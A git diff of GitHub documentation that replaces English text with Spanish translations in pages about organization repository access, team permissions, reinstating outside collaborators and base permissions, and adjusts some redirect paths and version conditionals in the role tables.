-{% ifversion fpt or ghec %}- "[Limiting interactions with your repository](/articles/limiting-interactions-with-your-repository)"{% endif %}
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+{% ifversion fpt or ghec %}- "[Limitar las interacciones con tu repositorio](/articles/limiting-interactions-with-your-repository)"{% endif %}
+- "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
index ed598dccd4..6492707403 100644
--- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
+++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
@@ -1,8 +1,8 @@
 ---
-title: Managing team access to an organization repository
-intro: 'You can give a team access to a repository, remove a team''s access to a repository, or change a team''s permission level for a repository.'
+title: Administrar el acceso de equipo a un repositorio de la organización
+intro: 'Puedes darle acceso de equipo a un repositorio, eliminar el acceso del equipo sobre un repositorio, o cambiar el nivel de permiso del equipo sobre un repositorio.'
 redirect_from:
-  - /articles/managing-team-access-to-an-organization-repository-early-access-program/
+  - /articles/managing-team-access-to-an-organization-repository-early-access-program
   - /articles/managing-team-access-to-an-organization-repository
   - /github/setting-up-and-managing-organizations-and-teams/managing-team-access-to-an-organization-repository
 versions:
@@ -13,35 +13,32 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage team access
+shortTitle: Administrar el acceso de los equipos
 ---
 
-People with admin access to a repository can manage team access to the repository. Team maintainers can remove a team's access to a repository.
+Las personas con acceso de administrador a un repositorio pueden administrar el acceso del equipo a un repositorio. Los mantenedores del equipo pueden eliminar el acceso de un equipo a un repositorio.
 
 {% warning %}
 
-**Warnings:**
-- You can change a team's permission level if the team has direct access to a repository. If the team's access to the repository is inherited from a parent team, you must change the parent team's access to the repository.
-- If you add or remove repository access for a parent team, each of that parent's child teams will also receive or lose access to the repository. For more information, see "[About teams](/articles/about-teams)."
+**Advertencias:**
+- Puedes cambiar el nivel de permiso de un equipo si el equipo tiene acceso directo a un repositorio. Si el acceso del equipo a un repositorio se hereda de un equipo padre, debes cambiar el acceso del equipo padre al repositorio.
+- Si agregas o eliminas el acceso al repositorio de un equipo padre, cada uno de sus equipos hijos también recibirá o perderá el acceso al repositorio. Para obtener más información, consulta "[Acerca de los equipos](/articles/about-teams)".
 
 {% endwarning %}
 
-## Giving a team access to a repository
+## Otorgarle a un equipo acceso a un repositorio
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team-repositories-tab %}
-5. Above the list of repositories, click **Add repository**.
-  ![The Add repository button](/assets/images/help/organizations/add-repositories-button.png)
-6. Type the name of a repository, then click **Add repository to team**.
-  ![Repository search field](/assets/images/help/organizations/team-repositories-add.png)
-7. Optionally, to the right of the repository name, use the drop-down menu and choose a different permission level for the team.
-  ![Repository access level dropdown](/assets/images/help/organizations/team-repositories-change-permission-level.png)
+5. Encima de la lista de repositorios, haz clic en **Add repository (Agregar repositorio)**. ![Botón Agregar repositorio](/assets/images/help/organizations/add-repositories-button.png)
+6. Escribe el nombre de un repositorio, después haz clic en **Add repository to team (Agregar repositorio al equipo)**. ![Campo Buscar repositorio](/assets/images/help/organizations/team-repositories-add.png)
+7. De forma opcional, a la derecha del nombre del repositorio, utiliza el menú desplegable y elige un nivel de permiso diferente para el equipo. ![Menú desplegable de nivel de acceso a un repositorio](/assets/images/help/organizations/team-repositories-change-permission-level.png)
 
-## Removing a team's access to a repository
+## Eliminar el acceso de un equipo a un repositorio
 
-You can remove a team's access to a repository if the team has direct access to a repository. If a team's access to the repository is inherited from a parent team, you must remove the repository from the parent team in order to remove the repository from child teams.
+Puedes eliminar el acceso de un equipo a un repositorio si el equipo tiene acceso directo a un repositorio. Si el acceso de un equipo al repositorio se hereda de un equipo padre, debes eliminar el repositorio del equipo padre para poder eliminar el repositorio de los equipos hijos.
 
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
@@ -49,13 +46,10 @@ You can remove a team's access to a repository if the team has direct access to
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team-repositories-tab %}
-5. Select the repository or repositories you'd like to remove from the team.
-  ![List of team repositories with the checkboxes for some repositories selected](/assets/images/help/teams/select-team-repositories-bulk.png)
-6. Above the list of repositories, use the drop-down menu, and click **Remove from team**.
-  ![Drop-down menu with the option to remove a repository from a team](/assets/images/help/teams/remove-team-repo-dropdown.png)
-7. Review the repository or repositories that will be removed from the team, then click **Remove repositories**.
-  ![Modal box with a list of repositories that the team will no longer have access to](/assets/images/help/teams/confirm-remove-team-repos.png)
+5. Selecciona el repositorio o los repositorios que deseas eliminar del equipo. ![Lista de repositorios de equipo con casillas de verificación para algunos repositorios seleccionados](/assets/images/help/teams/select-team-repositories-bulk.png)
+6. Encima de la lista de repositorios, utiliza el menú desplegable, y haz clic en **Remove from team (Eliminar del equipo)**. ![Menú desplegable con la opción de eliminar un repositorio de un equipo](/assets/images/help/teams/remove-team-repo-dropdown.png)
+7. Revisa el o los repositorios que serán eliminados del equipo, después haz clic en **Remove repositories (Eliminar repositorios)**. ![Casilla modal con una lista de repositorios a los que el equipo ya no tiene acceso](/assets/images/help/teams/confirm-remove-team-repos.png)
 
-## Further reading
+## Leer más
 
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md
index 2e0fb1830b..a745ca4dc8 100644
--- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Reinstating a former outside collaborator's access to your organization
-intro: 'You can reinstate a former outside collaborator''s access permissions for organization repositories, forks, and settings.'
+title: Reinstalar el acceso de un colaborador externo antiguo a tu organización
+intro: 'Puedes reinstaurar los permisos de acceso de un colaborador externo previo para los repositorios, bifurcaciones y configuraciones de la organización.'
 redirect_from:
   - /articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization
   - /articles/reinstating-a-former-outside-collaborators-access-to-your-organization
@@ -13,29 +13,29 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Reinstate collaborator
+shortTitle: Reinstaurar a un colaborador
 ---
 
-When an outside collaborator's access to your organization's private repositories is removed, the user's access privileges and settings are saved for three months. You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame.
+Cuando se elimina el acceso de un colaborador externo a los repositorios privados de tu organización, los privilegios de acceso y configuraciones de éste se guardan por tres meses. Puedes restablecer los privilegios del usuario si los vuelves a{% ifversion fpt or ghec %}invitar{% else %} agregar{% endif %} a la organización dentro de este periodo de tiempo.
 
 {% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %}
 
-When you reinstate a former outside collaborator, you can restore:
- - The user's former access to organization repositories
- - Any private forks of repositories owned by the organization
- - Membership in the organization's teams
- - Previous access and permissions for the organization's repositories
- - Stars for organization repositories
- - Issue assignments in the organization
- - Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity)
+Cuando reinstalas un colaborador externo antiguo, puedes restaurar lo siguiente:
+ - El acceso antiguo del usuario a los repositorios de la organización
+ - Cualquier bifurcación privada de los repositorios que son propiedad de la organización
+ - La membresía a los equipos de la organización
+ - El acceso y los permisos previos para los repositorios de la organización
+ - Las estrellas para los repositorios de la organización
+ - Las asignaciones de propuestas en la organización
+ - Las suscripciones a repositorios (los parámetros de notificaciones para observar, no observar o ignorar la actividad de un repositorio)
 
 {% tip %}
 
 **Tips**:
 
- - Only organization owners can reinstate outside collaborators' access to an organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
- - The reinstating a member flow on {% data variables.product.product_location %} may use the term "member" to describe reinstating an outside collaborator but if you reinstate this person and keep their previous privileges, they will only have their previous [outside collaborator permissions](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators).{% ifversion fpt or ghec %}
- - If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)."{% endif %}
+ - Solo los propietarios de la organización pueden reinstalar el acceso de colaboradores externos a una organización. Para obtener más información, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
+ - Puede que el flujo de reinstalación de un miembro en {% data variables.product.product_location %} utilice el término "miembro" para describir la reinstalación de un colaborador externo, pero si reinstalas a esta persona y mantienes sus privilegios previos, solo tendrá los [permisos de colaborador externo](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators) anteriores.{% ifversion fpt or ghec %}
+ - Si tu organización tiene una suscripción de pago por usuario, debe de existir una licencia sin utilizarse antes de que puedas invitar a un nuevo miembro para que se una a la organización o antes de reinstaurar a algún miembro previo de la misma. Para obtener más información, consulta "[Acerca del precio por usuario](/articles/about-per-user-pricing)."{% endif %}
 
 {% endtip %}
 
@@ -45,37 +45,35 @@ When you reinstate a former outside collaborator, you can restore:
 {% data reusables.organizations.invite_member_from_people_tab %}
 {% data reusables.organizations.reinstate-user-type-username %}
 {% ifversion fpt or ghec %}
-1. Choose to restore the outside collaborator's previous privileges in the organization by clicking **Invite and reinstate** or choose to clear their previous privileges and set new access permissions by clicking **Invite and start fresh**.
+1. Decide si quieres restaurar los privilegios antiguos del colaborador externo en la organización haciendo clic en **Invite and reinstate** (Invitar y reinstalar) o decide eliminar los privilegios antiguos y establecer nuevos permisos de acceso haciendo clic en **Invite and start fresh** (Invitar e iniciar de nuevo).
 
   {% warning %}
 
-  **Warning:** If you want to upgrade the outside collaborator to a member of your organization, then choose **Invite and start fresh** and choose a new role for this person. Note, however, that this person's private forks of your organization's repositories will be lost if you choose to start fresh. To make the former outside collaborator a member of your organization *and* keep their private forks, choose **Invite and reinstate** instead. Once this person accepts the invitation, you can convert them to an organization member by [inviting them to join the organization as a member](/articles/converting-an-outside-collaborator-to-an-organization-member).
+  **Advertencia:** Si quieres subir de categoría el colaborador externo a miembro de tu organización, elige **Invite and start fresh** (Invitar e iniciar de nuevo) y elige un rol nuevo para esta persona. Sin embargo, ten en cuenta que las bifurcaciones privadas de los repositorios de tu organización de esa persona se perderán si decides iniciar de nuevo. En cambio, para hacer que el colaborador externo antiguo sea miembro de tu organización *y* conserve sus bifurcaciones privadas, elige **Invite and reinstate** (Invitar y reinstalar). Una vez que esta persona acepte la invitación, puedes convertirla en miembro de la organización [invitándola a que se una a la organización como miembro](/articles/converting-an-outside-collaborator-to-an-organization-member).
 
   {% endwarning %}
 
-  ![Choose to restore settings or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png)
+  ![Decide si quieres restaurar los parámetros o no](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png)
 {% else %}
-6. Choose to restore the outside collaborator's previous privileges in the organization by clicking **Add and reinstate** or choose to clear their previous privileges and set new access permissions by clicking **Add and start fresh**.
+6. Decide si quieres restaurar los privilegios antiguos del colaborador externo en la organización haciendo clic en **Add and reinstate** (Agregar y reinstalar) o decide eliminar los privilegios antiguos y establecer nuevos permisos de acceso haciendo clic en **Add and start fresh** (Agregar e iniciar de nuevo).
 
   {% warning %}
 
-  **Warning:** If you want to upgrade the outside collaborator to a member of your organization, then choose **Add and start fresh** and choose a new role for this person. Note, however, that this person's private forks of your organization's repositories will be lost if you choose to start fresh. To make the former outside collaborator a member of your organization *and* keep their private forks, choose **Add and reinstate** instead. Then, you can convert them to an organization member by [adding them to the organization as a member](/articles/converting-an-outside-collaborator-to-an-organization-member).
+  **Advertencia:** Si quieres subir de categoría el colaborador externo a miembro de tu organización, elige **Add and start fresh** (Agregar e iniciar de nuevo) y elige un rol nuevo para esta persona. Sin embargo, ten en cuenta que las bifurcaciones privadas de los repositorios de tu organización de esa persona se perderán si decides iniciar de nuevo. En cambio, para hacer que el colaborador externo antiguo sea miembro de tu organización *y* conserve sus bifurcaciones privadas, elige **Add and reinstate** (Agregar y reinstalar). Luego puedes convertirla en miembro de la organización [agregándola a la organización como miembro](/articles/converting-an-outside-collaborator-to-an-organization-member).
 
   {% endwarning %}
 
-  ![Choose to restore settings or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png)
+  ![Decide si quieres restaurar los parámetros o no](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png)
 {% endif %}
 {% ifversion fpt or ghec %}
-7. If you cleared the previous privileges for a former outside collaborator, choose a role for the user and optionally add them to some teams, then click **Send invitation**.
-  ![Role and team options and send invitation button](/assets/images/help/organizations/add-role-send-invitation.png)
+7. Si eliminaste los privilegios anteriores de un colaborador externo antiguo, elige un rol para el usuario y, de manera opcional, agrégalo a algunos equipos, luego haz clic en **Send invitation** (Enviar invitación). ![Opciones de rol y equipo y botón para enviar invitación](/assets/images/help/organizations/add-role-send-invitation.png)
 {% else %}
-7. If you cleared the previous privileges for a former outside collaborator, choose a role for the user and optionally add them to some teams, then click **Add member**.
-  ![Role and team options and add member button](/assets/images/help/organizations/add-role-add-member.png)
+7. Si eliminaste los privilegios anteriores de un colaborador externo antiguo, elige un rol para el usuario y, de manera opcional, agrégalo a algunos equipos, luego haz clic en **Add member** (Agregar miembro). ![Opciones de rol y equipo y botón para agregar miembros](/assets/images/help/organizations/add-role-add-member.png)
 {% endif %}
 {% ifversion fpt or ghec %}
-8. The invited person will receive an email inviting them to the organization. They will need to accept the invitation before becoming an outside collaborator in the organization. {% data reusables.organizations.cancel_org_invite %}
+8. La persona invitada recibirá un correo electrónico invitándola a la organización. Tendrá que aceptar la invitación antes de convertirse en colaborador externo de la organización. {% data reusables.organizations.cancel_org_invite %}
 {% endif %}
 
-## Further Reading
+## Leer más
 
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
index 87dda915f4..62a0509814 100644
--- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
+++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
@@ -3,7 +3,7 @@ title: Repository roles for an organization
 intro: 'You can customize access to each repository in your organization by assigning granular roles, giving people access to the features and tasks they need.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
-  - /articles/repository-permission-levels-for-an-organization-early-access-program/
+  - /articles/repository-permission-levels-for-an-organization-early-access-program
   - /articles/repository-permission-levels-for-an-organization
   - /github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization
   - /organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization
@@ -103,7 +103,7 @@ Some of the features listed below are limited to organizations using {% data var
 | Edit a repository's description | | | | **X** | **X** |{% ifversion fpt or ghae or ghec %}
 | [View and install packages](/packages/publishing-and-managing-packages) | **X** | **X** | **X** | **X** | **X** |
 | [Publish packages](/packages/publishing-and-managing-packages/publishing-a-package) | | | **X** | **X** | **X** |
-| {% ifversion fpt or ghes > 3.0 or ghec %}[Delete and restore packages](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Delete packages](/packages/learn-github-packages/deleting-a-package){% endif %} | | |  |  | **X** | {% endif %}
+| {% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Delete and restore packages](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Delete packages](/packages/learn-github-packages/deleting-a-package){% endif %} | | |  |  | **X** | {% endif %}
 | Manage [topics](/articles/classifying-your-repository-with-topics) | | | | **X** | **X** |
 | Enable wikis and restrict wiki editors | | | | **X** | **X** |
 | Enable project boards | | | | **X** | **X** |
@@ -141,7 +141,7 @@ Some of the features listed below are limited to organizations using {% data var
 | [Lock and unlock discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **X** | **X** | **X** | **X** |
 | [Individually convert issues to discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **X** | **X** | **X** | **X** |
 | [Create new discussions and comment on existing discussions](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion) | **X** | **X** | **X** | **X** | **X** |
-| [Delete a discussion](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion) | | | | **X** | **X** |{% endif %}{% ifversion fpt or ghec %}
+| [Delete a discussion](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion) | | **X** | | **X** | **X** |{% endif %}{% ifversion fpt or ghec %}
 | Create [codespaces](/codespaces/about-codespaces) | | | **X** | **X** | **X** |{% endif %}
 
 ### Access requirements for security features
@@ -151,18 +151,18 @@ In this section, you can find the access required for security features, such as
 | Repository action | Read | Triage | Write | Maintain | Admin |
 |:---|:---:|:---:|:---:|:---:|:---:| {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
 | Receive [{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies) in a repository | | | | | **X** |
-| [Dismiss {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository) | | | | | **X** |
+| [Dismiss {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository) | | | | | **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}<!--Not available for FPT-->
 | [Designate additional people or teams to receive security alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | | | | | **X** |{% endif %}{% ifversion fpt or ghec %}
-| Create [security advisories](/code-security/security-advisories/about-github-security-advisories) | | | | | **X** |{% endif %} 
-| Manage access to {% data variables.product.prodname_GH_advanced_security %} features (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)") | | | | | **X** |{% ifversion fpt or ghec %}<!--Set at site-level for GHES and GHAE-->
-| [Enable the dependency graph](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository) for a private repository | | | | | **X** |{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %}
+| Create [security advisories](/code-security/security-advisories/about-github-security-advisories) | | | | | **X** |{% endif %}{% ifversion ghes or ghae or ghec %} <!--Not available for FPT-->
+| Manage access to {% data variables.product.prodname_GH_advanced_security %} features (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)") | | | | | **X** |{% endif %}{% ifversion fpt or ghec %}<!--Set at site-level for GHES and GHAE-->
+| [Enable the dependency graph](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository) for a private repository | | | | | **X** |{% endif %}{% ifversion ghes > 3.1 or ghae-issue-4864 or ghec %}
 | [View dependency reviews](/code-security/supply-chain-security/about-dependency-review) | **X** | **X** | **X** | **X** | **X** |{% endif %}
 | [View {% data variables.product.prodname_code_scanning %} alerts on pull requests](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests) | **X** | **X** | **X** | **X** | **X** |
 | [List, dismiss, and delete {% data variables.product.prodname_code_scanning %} alerts](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository) | | | **X** | **X** | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-| [View {% data variables.product.prodname_secret_scanning %} alerts in a repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X** |
+| [View {% data variables.product.prodname_secret_scanning %} alerts in a repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X** |{% endif %}{% ifversion ghes > 3.0 or ghae or ghec %}<!--Not available for FPT-->
 | [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X** |{% endif %}{% ifversion ghes = 3.0 %}
 | [View {% data variables.product.prodname_secret_scanning %} alerts in a repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | | | **X** |
-| [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | | | **X** |{% endif %}{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | | | **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}
 | [Designate additional people or teams to receive {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) in repositories | | | | | **X** |{% endif %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md
index fc6aca0e28..fa0386376c 100644
--- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md
+++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Setting base permissions for an organization
-intro: You can set base permissions for the repositories that an organization owns.
+title: Configurar los permisos base para una organización
+intro: Puedes configurar permisos base para los repositorios que pertenezcan a una organización.
 permissions: Organization owners can set base permissions for an organization.
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization
@@ -12,32 +12,30 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Set base permissions
+shortTitle: Configurar los permisos básicos
 ---
 
-## About base permissions for an organization
+## Acerca de los permisos base para una organización
 
-You can set base permissions that apply to all members of an organization when accessing any of the organization's repositories. Base permissions do not apply to outside collaborators.
+Puedes configurar permisos base que apliquen a todos los miembros de una organización cuando accedan a cualquiera de los repositorios de la misma. Los permisos base no aplican para los colaboradores externos.
 
-{% ifversion fpt or ghec %}By default, members of an organization will have **Read** permissions to the organization's repositories.{% endif %}
+{% ifversion fpt or ghec %}Predeterminadamente, los miembros de una organización tendrán permisos de **Lectura** para los repositorios de la misma{% endif %}
 
-If someone with admin access to an organization's repository grants a member a higher level of access for the repository, the higher level of access overrides the base permission.
+Si alguien con permisos administrativos en un repositorio de una organización otorga un nivel de acceso superior a un miembro para dicho repositorio, este nivel de acceso superior anulará el permiso base.
 
 {% ifversion ghec %}
-If you've created a custom repository role with an inherited role that is lower access than your organization's base permissions, any members assigned to that role will default to the organization's base permissions rather than the inherited role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+Si creaste un rol de repositorio personalizado con un rol heredado que tenga un acceso menor que los permisos base de tu organización, cualquier miembro que se haya asignado a ese rol tendrá los permisos base predeterminados de la organización en vez de los del rol heredado. Para obtener más información, consulta la sección "[Administrar los roles personalizados de repositorio en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)".
 {% endif %}
 
-## Setting base permissions
+## Configurar los permisos base
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Base permissions", use the drop-down to select new base permissions.
-  ![Selecting new permission level from base permissions drop-down](/assets/images/help/organizations/base-permissions-drop-down.png)
-6. Review the changes. To confirm, click **Change default permission to PERMISSION**.
-  ![Reviewing and confirming change of base permissions](/assets/images/help/organizations/base-permissions-confirm.png)
+5. Debajo de "Permisos Base", utiliza el menú desplegable para seleccionar los nuevos permisos base. ![Selección de nuevo nivel de permiso desde el menú desplegable de "permisos base"](/assets/images/help/organizations/base-permissions-drop-down.png)
+6. Revisa los cambios. Da clic en **Cambiar el permiso predeterminado por PERMISO** para confirmar. ![Revisar y confirmar el cambio de permisos base](/assets/images/help/organizations/base-permissions-confirm.png)
 
-## Further reading
+## Leer más
 
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
-- "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)"
+- "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Agregar colaboradores externos a repositorios de tu organización](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)"
diff --git a/translations/es-ES/content/organizations/managing-git-access-to-your-organizations-repositories/index.md b/translations/es-ES/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
index 0ce1b03d5f..57e59657f1 100644
--- a/translations/es-ES/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
+++ b/translations/es-ES/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
@@ -3,7 +3,7 @@ title: Administrar el acceso de Git a los repositorios de tu organización
 intro: Puedes agregar una autoridad de certificados (CA) SSH a tu organización y permitir que los miembros accedan a los repositorios de la organización sobre Git mediante claves firmadas por la CA SSH.
 product: '{% data reusables.gated-features.ssh-certificate-authorities %}'
 redirect_from:
-  - /articles/managing-git-access-to-your-organizations-repositories-using-ssh-certificate-authorities/
+  - /articles/managing-git-access-to-your-organizations-repositories-using-ssh-certificate-authorities
   - /articles/managing-git-access-to-your-organizations-repositories
   - /github/setting-up-and-managing-organizations-and-teams/managing-git-access-to-your-organizations-repositories
 versions:
diff --git a/translations/es-ES/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md b/translations/es-ES/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
index c08a2a1e4e..5004b20b31 100644
--- a/translations/es-ES/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
+++ b/translations/es-ES/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
@@ -1,8 +1,8 @@
 ---
-title: Can I create accounts for people in my organization?
-intro: 'While you can add users to an organization you''ve created, you can''t create personal user accounts on behalf of another person.'
+title: ¿Puedo crear cuentas para personas en mi organización?
+intro: 'Si bien puedes agregar usuarios a una organización que has creado, no puedes crear cuentas de usuario personales en nombre de otra persona.'
 redirect_from:
-  - /articles/can-i-create-accounts-for-those-in-my-organization/
+  - /articles/can-i-create-accounts-for-those-in-my-organization
   - /articles/can-i-create-accounts-for-people-in-my-organization
   - /github/setting-up-and-managing-organizations-and-teams/can-i-create-accounts-for-people-in-my-organization
 versions:
@@ -11,21 +11,21 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Create accounts for people
+shortTitle: Crear cuentas para las personas
 ---
 
-## About user accounts
+## Acerca de las cuentas de usuario
 
-Because you access an organization by logging in to a user account, each of your team members needs to create their own user account. After you have usernames for each person you'd like to add to your organization, you can add the users to teams.
+Dado que accedes a una organización iniciando sesión en una cuenta de usuario, cada uno de los miembros de tu equipo tendrán que crear la suya propia. Después de que tengas nombres de usuario para cada una de las personas que quieras agregar a tu organización, podrás agregarlos a los equipos.
 
 {% ifversion fpt or ghec %}
-{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can use SAML single sign-on to centrally manage the access that user accounts have to the organization's resources through an identity provider (IdP). For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+{% ifversion fpt %}Las organizaciones que utilizan pueden{% data variables.product.prodname_ghe_cloud %}{% else %}Puedes{% endif %} utilizar el inicio de sesión único de SAML para administrar centralmente el acceso que tienen las cuentas de usuario a los recursos organizacionales mediante un proveedor de identidad (IdP). Para obtener más información, consulta la sección "[Acerca de la administración de identidad y acceso con el inicio de sesión único de SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}
 
-You can also consider {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %}
